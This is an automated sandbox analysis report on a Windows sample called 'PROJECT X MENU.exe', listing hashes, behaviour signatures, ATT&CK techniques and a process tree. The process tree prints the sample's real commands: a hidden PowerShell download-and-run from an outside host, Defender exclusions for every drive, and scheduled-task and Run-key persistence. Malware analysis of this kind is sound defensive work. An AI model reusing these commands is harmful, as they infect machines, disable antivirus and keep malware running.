c64180ce30300e4dad5b8740c61a904c9cc0d1a3546924059542e272ab99b673

Analysis

user interaction
yes
max time kernel
48s
max time network
47s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 09:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PROJECT X MENU.exe
Size 5.5MB
Sample260809-kyak3ack91
SHA256 c64180ce30300e4dad5b8740c61a904c9cc0d1a3546924059542e272ab99b673
MD5 18eb30578493fe2a74fe97eaa801fe64
SHA1 5741a4c9e3d8d07cdbd6c62a5378747082a26315
SHA512 7300e03e316780e6789f26aeae4135cfbaba5539867496de423602f345c441ee18fd7ae086833ab9ac5a4a563d42ab008f818a5364962417e3bd3171551374c5
SSDEEP 98304:fJHSn+QsCRJk9Ei1o4O/zdhpEHk1v9k0ghv9P9:s+XCRw9O/zFMk1VrghV1
TLSH
T12F468D86A2AA07D8DA7EC0388B069717FEA13451077197DB369C07525FF37A0AE7E701
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1204	powershell.exe
5092	powershell.exe
3476	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	1204	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3828	BK942369.exe
3488	BK942369.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5360	cmd.exe
5528	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\BK942369 = "C:\\Users\\Admin\\AppData\\Roaming\\BK942369.exe"	BK942369.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\BK942369 = "C:\\Users\\Admin\\AppData\\Roaming\\BK942369.exe"	BK942369.exe

Checks system information in the registry 2 TTPs 4 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	BK942369.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5360	cmd.exe
5528	cmd.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
624	cmd.exe
4352	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3784	schtasks.exe
3620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1204	powershell.exe
1204	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4604	PROJECT X MENU.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeIncreaseQuotaPrivilege	3476	powershell.exe
Token: SeSecurityPrivilege	3476	powershell.exe
Token: SeTakeOwnershipPrivilege	3476	powershell.exe
Token: SeLoadDriverPrivilege	3476	powershell.exe
Token: SeSystemProfilePrivilege	3476	powershell.exe
Token: SeSystemtimePrivilege	3476	powershell.exe
Token: SeProfSingleProcessPrivilege	3476	powershell.exe
Token: SeIncBasePriorityPrivilege	3476	powershell.exe
Token: SeCreatePagefilePrivilege	3476	powershell.exe
Token: SeBackupPrivilege	3476	powershell.exe
Token: SeRestorePrivilege	3476	powershell.exe
Token: SeShutdownPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeSystemEnvironmentPrivilege	3476	powershell.exe
Token: SeRemoteShutdownPrivilege	3476	powershell.exe
Token: SeUndockPrivilege	3476	powershell.exe
Token: SeManageVolumePrivilege	3476	powershell.exe
Token: 33	3476	powershell.exe
Token: 34	3476	powershell.exe
Token: 35	3476	powershell.exe
Token: 36	3476	powershell.exe
Token: SeIncreaseQuotaPrivilege	3476	powershell.exe
Token: SeSecurityPrivilege	3476	powershell.exe
Token: SeTakeOwnershipPrivilege	3476	powershell.exe
Token: SeLoadDriverPrivilege	3476	powershell.exe
Token: SeSystemProfilePrivilege	3476	powershell.exe
Token: SeSystemtimePrivilege	3476	powershell.exe
Token: SeProfSingleProcessPrivilege	3476	powershell.exe
Token: SeIncBasePriorityPrivilege	3476	powershell.exe
Token: SeCreatePagefilePrivilege	3476	powershell.exe
Token: SeBackupPrivilege	3476	powershell.exe
Token: SeRestorePrivilege	3476	powershell.exe
Token: SeShutdownPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeSystemEnvironmentPrivilege	3476	powershell.exe
Token: SeRemoteShutdownPrivilege	3476	powershell.exe
Token: SeUndockPrivilege	3476	powershell.exe
Token: SeManageVolumePrivilege	3476	powershell.exe
Token: 33	3476	powershell.exe
Token: 34	3476	powershell.exe
Token: 35	3476	powershell.exe
Token: 36	3476	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeIncreaseQuotaPrivilege	5092	powershell.exe
Token: SeSecurityPrivilege	5092	powershell.exe
Token: SeTakeOwnershipPrivilege	5092	powershell.exe
Token: SeLoadDriverPrivilege	5092	powershell.exe
Token: SeSystemProfilePrivilege	5092	powershell.exe
Token: SeSystemtimePrivilege	5092	powershell.exe
Token: SeProfSingleProcessPrivilege	5092	powershell.exe
Token: SeIncBasePriorityPrivilege	5092	powershell.exe
Token: SeCreatePagefilePrivilege	5092	powershell.exe
Token: SeBackupPrivilege	5092	powershell.exe
Token: SeRestorePrivilege	5092	powershell.exe
Token: SeShutdownPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeSystemEnvironmentPrivilege	5092	powershell.exe
Token: SeRemoteShutdownPrivilege	5092	powershell.exe
Token: SeUndockPrivilege	5092	powershell.exe
Token: SeManageVolumePrivilege	5092	powershell.exe
Token: 33	5092	powershell.exe
Token: 34	5092	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4604	PROJECT X MENU.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 624	4604	PROJECT X MENU.exe	90
PID 624 wrote to memory of 4352	624	cmd.exe	92
PID 4352 wrote to memory of 1204	4352	cmd.exe	93
PID 1204 wrote to memory of 3828	1204	powershell.exe	94
PID 3828 wrote to memory of 5360	3828	BK942369.exe	95
PID 5360 wrote to memory of 1900	5360	cmd.exe	97
PID 5360 wrote to memory of 3476	5360	cmd.exe	98
PID 3828 wrote to memory of 3784	3828	BK942369.exe	100
PID 3488 wrote to memory of 5528	3488	BK942369.exe	104
PID 5528 wrote to memory of 4136	5528	cmd.exe	106
PID 5528 wrote to memory of 5092	5528	cmd.exe	107
PID 3488 wrote to memory of 3620	3488	BK942369.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\PROJECT X MENU.exe
"C:\Users\Admin\AppData\Local\Temp\PROJECT X MENU.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c start /b powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\cmd.exe
    cmd /c start /b powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1204
    - - C:\Users\Admin\AppData\Roaming\BK942369.exe
        
        "C:\Users\Admin\AppData\Roaming\BK942369.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks system information in the registry
        Suspicious use of WriteProcessMemory
        
        PID:3828
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Hide Artifacts: Ignore Process Interrupts
        Suspicious use of WriteProcessMemory
        
        PID:5360
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:1900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3476
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3784

C:\Users\Admin\AppData\Roaming\BK942369.exe
C:\Users\Admin\AppData\Roaming\BK942369.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7f721f64bccef724573e7a8cb2873e3c7e00f3e235bd9c43a6844e9fc1eca90f
MD5 2d4e5ce983e0615e7d60d771b4118ac4
SHA1 7393067fee3b7be7f853437e2755d966820441a3
SHA512 d0a9f613cfa7c100afeabe8b0dd5504bacf8726ad8764800a47e2572c0c37f70177cf5dc029cfad0988d3cd0a924f36f36c026067fbff5f0d00133b404bc7bf4
TLSH
T1E5215C37B3DC8614DC9A413A50CDAC1036B5C7D7409ECF6B7B84D544B42F699DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a8ec6cbe56d43cac746a775bb01d4e302fa3c5cef6d087ddd5ad6ffb28b28914
MD5 e099087f1819f465673e4d0588838394
SHA1 7c4036eab5dde4d82e4e779afe09b46aff759c12
SHA512 d83ae74ae4638a2d16c894089a99462c7302c8b52b93aac528af162a6837b0f73b5e1afaa95f2e270e2f994139fc932a445df2d9659cfc42695abb0b92b2c951
TLSH
T11D216733F3CC8615CC9A013A50CDAC1036BAC7DB90DEDFAB6B84E655A53F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ly5g4blz.gph.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly5g4blz.gph.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~msnDEV-0e22b63f91b96891.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-0e22b63f91b96891.tmp
Size 4B
SHA256 c7c180fcbbf8d2eecf60004f76907eb68514f4d858fc1073ec079b1d0d7cabde
MD5 d96cc6ef51405b8f1e83c87a75982d49
SHA1 6e7cb765b36ceb0de4d40d29a9a16e17f532e10b
SHA512 dafb1b46d282965a1eb0522c1e5a3771bad41922d33503a53a332d8d859acf07ffeb3b933a7844c7cb3fc73f5d38e47008282be8d9a6d48b0dc184877a4493ff
MD5 SHA1 SHA512

Submit Download

BK942369.exe

Path C:\Users\Admin\AppData\Roaming\BK942369.exe
Size 60KB
SHA256 8257ea5982473d81d71ed2abf2a8357f4be572978c943f23ef0a30cffc7f5090
MD5 56b88038c5c4fec87d9133358318fbef
SHA1 6aadc42c55535be0eab12f707fec9d14ace6ef3a
SHA512 d25ef6bddb1fa5b8d45ff91b7b42ee8ddc125c294bb88a51b73fb391f3f562c89be080737fe41ad279819fcfdebd2be04d618bb4febd424c4f8be393019aa291
SSDEEP 1536:wYvxrhs3z558JPDCkRNLT8vJ0xXjmJZo:wAxNsoh9RhiJVP
TLSH
T1CD53090AF39364ECD51BC67446EB6773BA32BD6511319F3E0394E6302E50E60AE79B24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1204-8-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-4-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-9-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-10-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-11-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-13-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-7-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-24-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-6-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-1-0x0000028F7E590000-0x0000028F7E5B2000-memory.dmp

Download

memory/1204-5-0x00007FFB0C930000-0x00007FFB0D2D4000-memory.dmp

Download

memory/1204-0-0x00007FFB0CABF000-0x00007FFB0CAC0000-memory.dmp

Download

memory/3476-32-0x0000013A7AC20000-0x0000013A7AC2A000-memory.dmp

Download

memory/3476-31-0x0000013A7AED0000-0x0000013A7AF82000-memory.dmp

Download

memory/3476-30-0x0000013A7AC00000-0x0000013A7AC1E000-memory.dmp

Download

memory/3488-45-0x0000000254000000-0x000000025405A000-memory.dmp

Download

memory/3488-56-0x00007FF7048D0000-0x00007FF7048E9000-memory.dmp

Download

memory/3828-36-0x00007FF7048D0000-0x00007FF7048E9000-memory.dmp

Download

memory/5092-43-0x0000011D23B40000-0x0000011D23BF2000-memory.dmp

Download